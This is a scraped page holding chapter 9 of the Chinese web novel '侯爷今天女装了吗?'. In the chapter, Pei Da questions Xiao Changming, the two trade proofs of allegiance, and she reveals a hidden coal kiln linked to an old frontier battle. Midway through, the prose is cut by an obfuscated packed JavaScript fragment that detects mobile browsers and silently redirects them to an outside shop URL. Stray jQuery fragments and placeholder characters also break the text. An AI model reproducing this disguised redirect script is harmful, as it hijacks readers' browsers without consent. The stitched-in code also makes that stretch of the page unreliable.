文趣网 > 其他小说 > 侯爷今天女装了吗? > 9. 问询
    听到裴妲这么问阿福立刻急了,他放下手上的东西,挡在裴妲面前,“姓裴的你怎么说话呢!是你把我们带到山来里的,现在还问起我们来了!”

    裴妲面无表情地看着他,抬手,一个手刀干脆利落地劈在他的颈侧。

    阿福闷哼一声,身体一软向后倒去。

    萧长明坐在炕上,瞳孔猛地一缩,他下意识地伸手接住阿福,好让人别直接摔在地上。

    裴妲的动作比他快,随手接住阿福将他安置在一旁,这才继续看着萧长明,轻声提醒:“阿蘅姑娘,你还没有回答我的问题。”

    萧长明没有立刻回答她的问题,他伸手探了探阿福的鼻息,确定人只是昏过去了,并没有大碍,这才抬头看向裴妲。

    苍白的脸上浮起一抹讥讽的笑,他毫不畏惧地盯着裴妲,眼中再没有伪装出的柔弱羞怯,只剩下冰冷的审视。

    “公子找借口把我带进山里,昨日夜里又让自己的妹妹提前下山,今早又借口找药把我丢下,”萧长明的声音因病发烧而沙哑,但言语间毫不客气:“相信不相信的,该是我问您吧?”

    裴妲没有因他的话而动摇,反而抽出短刀,威胁十足:“阿蘅姑娘,事关重大,如果你再不说实话,我只能将你同寨子里人一起处置了。”

    话落,看着萧长明的病容又觉得自己说话重了些,放轻语气:“阿蘅,我只问一句,你是否忠于朝廷?”

    萧长明看着她,只觉得有些好笑。

    这人在京城时就强行占了北蛮探子的房间,武艺高强却扮作普通人,带着妹妹就敢跨着荒山往北境走。

    一身破绽反倒怀疑起他来了。

    “公子反倒审起我来了,”他嗤笑一身,理理散乱的衣襟,靠在被褥上,姿态慵懒,目光却冰冷如刀:“咱们出京时可是约定好了,互相不过问身份的,公子这一路可没少试探我,现在更是直接问我的身份立场。”

    他顿了顿,歪头看着裴妲,语气轻飘:“公子,您这契约精神可真不怎么样。”

    裴妲没有被他的话激怒,但她也知道打嘴皮子仗没有意义,当即从怀中掏出令牌,放在两人中间。

    那是块铜制的令牌,正面刻着一个“裴”字,令牌空白处满是密密麻麻的纹路,用于防伪和让人辨认真假。

    “我是裴将军的部下。”裴妲说这话时面不改色,语气平稳:“前些日子陛下急招将军回京述职,实则是为将军赐婚,将军不愿意于是将我们遣散,让我们分开前往北境寻找出路。这是手令,你可以查验真假。”

    萧长明探身,伸手就要去拿令牌。

    裴妲将短刀“啪”地拍在令牌旁边,轻声提醒:“阿蘅姑娘,该你了。”

    萧长明的手停在半空,抬眼看看,轻啧一声。

    他知道自己的处境。

    这人能踩着桌子徒手攀上酒楼屋顶,又能徒手制服一个身强体壮的北蛮暗探,大雪封山能在深夜独自进山采药后再全须全尾地回来,杀他一个病秧子,恐怕比捏死只蚂蚁还容易。

    他收回手,沉默片刻后从衣襟里拿出一块玉牌和一封信。

    萧长明将玉牌扔到裴妲面前,“我只有这个,你爱信不信。”

    上好羊脂玉,摸起来触手生温,上面刻着云纹,玉牌背面斜着对光看能看见一个篆体的“昶”字。

    是大皇子赵昶。

    裴妲将玉牌翻来覆去地看了几遍,又凑近些,仔细地端详着边缘的花纹。

    终于在玉牌底部云纹侧边找到了一个小小的印记,这是宫里的手艺,民间做不了假。

    她将玉牌递还给萧长明,目光又落在他手中的信件上。

    萧长明显然没打算给她看,将信和玉牌贴身收好,随口敷衍一句:“这个是大殿下让我带给边关守将的,密信,拆开就没用了。”

    裴妲点点头,表示理解,随即又问:“那你之前和我说的那些……”

    “假的。”萧长明打断她,干脆利落地承认:“所有的话都是假的,你信吗?”

    “信。”裴妲毫不犹豫地回答。

    萧长明愣住了。

    他原以为裴妲会愤怒,毕竟她这这一路又是让被子又是扶着走路的,多少会有些不高兴。

    可裴妲毫不犹豫的相信反倒显得他是小肚鸡肠,以恶意揣度他人心思的小人。

    萧长明语气复杂:“那你可真好骗。”

    “我对朋友向来抱有最大的信任。”裴妲收起短刀,坐在萧长明身侧,完全不在意他言语间的讽刺。

    朋友。

    萧长明将这个词含在嘴里转了一圈,终究是没再阴阳怪气地说些什么。

    他轻轻踹了裴妲一脚,动作间带着几分熟稔:“说说吧裴公子,你找到什么宝贝了。”

    裴妲压低声音,正色道:“煤窑。”

    萧长明气笑了,“就这?你为了这个,把我审一遍,还要问我是不是忠于朝廷?”

    萧长明觉得实在是荒唐。

    虽然说煤矿是需要严格管控的,但北境这地方天高皇帝远,绕过官府私自开矿也没人能管得了。

    一个煤窑,私人开采也好,官家偷藏也罢,在北境这种地方私自冶炼兵器的都有,一个煤窑实在算不上什么。

    萧长明懒得再听下去了,扯过褥子,准备躺下继续休息。

    他昨日烧了半宿,刚才又被陪打那一番质问折腾得心力交瘁,现在只想闭上眼,什么都不想地好好睡一觉。

    “我的天老爷,这可真是大秘密。”萧长明扩张地感叹一番,一边说着一边往被子里缩:“这种大事儿您可得好好查查,我就先休息了。”

    裴妲不在意他的态度,只问:“你在京城听过八年前在北境,裴炎裴将军与北蛮的那场恶战吗?”

    萧长明猛的坐起,动作幅度太大,扯得他一阵头晕目眩,脑仁突突得疼。

    他顾不上这些,盯着裴妲的眼睛,问:“是容城之战?”

    裴妲点点头,表情沉痛,“对。”

    她没有继续说,而是起身走到门口,拉开门往外看了一圈,确定没有人在屋外偷听后回屋将门堵严了,这才重新坐会萧长明身边,低声讲述起来。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814848|211010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“八年前那场仗,最开始的是北蛮突然变阵,从鹰跃峡的关隘处往前线运了一批粮食。”

    这和煤炭以及那场恶战有什么关系?

    萧长明想不明白,眉头紧锁,没有插话。

    裴妲语速不快,“后来那批粮被裴老将军派人劫走了,可就在三个月后,北门突然拿出了一批铁质精良的武器,以及一批煤粉□□。”

    “当年陪老将军还在驻守定州,北蛮突然攻打容城上所有人都没想到的,等到大家反应过来容城已经沦陷了。最后是裴老将军带人殊死战斗,这才夺回了定州。”

    “可惜裴老将军也死在了那场仗里。”

    屋内安静得只剩下炉火燃烧的噼啪声,萧长明皱着眉,还是没有想明白这件事和煤窑有什么联系,“你在煤窑发现了什么?”

    “煤窑里的煤和寨子里烧的一样,都是粗煤,这本身并不新奇。”裴妲说,“但是没有采煤的位置很奇怪,隐蔽得不正常。”

    裴妲仔细地把自己在小路上的发现说了一遍,“我跟着雪地上的煤渣一直往里走,路的尽头是一处悬崖,悬崖边的树丛有人扒动的痕迹,从悬崖边往下看,能看到下方山壁上有人工开凿的痕迹。”

    裴妲蹲在地上,拿起树枝开始画图:“那地方的路正常走到尽头都是悬崖,要拨开树丛,从悬崖边跳下去才能找到入口。一个人跟着装煤的框子下去,在跟着一筐子煤上来,稍有不慎就会掉下深渊,完全是拿命在搏。”

    萧长明的眉皱的更紧了,“你的意思是,当年蛮子用来冶铁做□□的煤都是从这个煤窑运出去的?”

    “大概率,”裴妲手下地地图终于画完,她指着一处线条道:“而且这一片的地形有问题。”

    “当年劫下蛮子粮草的地方是在鹰跃峡的山口处,山口往北有一个豁口,”裴妲将两个地方连起来,“如果蛮子从悬崖边运煤,再从豁口出运往北边,有前面运粮的队伍做挡箭牌,很难注意到后面豁口地方运煤的队伍。”

    “当年劫粮后,我觉得这条两道的路线很奇怪,怕蛮子有其他动作向裴老将军提议搜山,可惜我当时刚入军营,人微言轻,没有人听我的。”裴妲声音干涩:“后来容城的仗打完后,裴老将军殉国,我也跟着离开了北境,再没有机会查北蛮用的煤是从哪里来的。前两年我调任回北境,第一件事就是把鹰跃峡附近的山翻了个遍,可惜什么都没有找到。”

    “方圆百里所有的窑口、矿洞,我都翻了个遍,什么都没有,那批铁甲和□□就像是从天上掉下来的一样。”裴妲痛苦地闭上眼,实在是再难以回忆述说。

    当年赔上许多条人命才打赢的仗,大费周章都没有找到的窑口,一次意外就这么找到了。

    可这实在是让人难以接受。

    这样隐蔽的洞口,拿命搏的路,如果不是有内应,根本不可能找得到。

    如果这个窑口八年前就存在,如果当年北门用的煤是从这里运出去的,那这个寨子的人不可能什么都不知道。

    萧长明听着呼吸急促了几分,他却是想到了一件几乎毫无关联的事。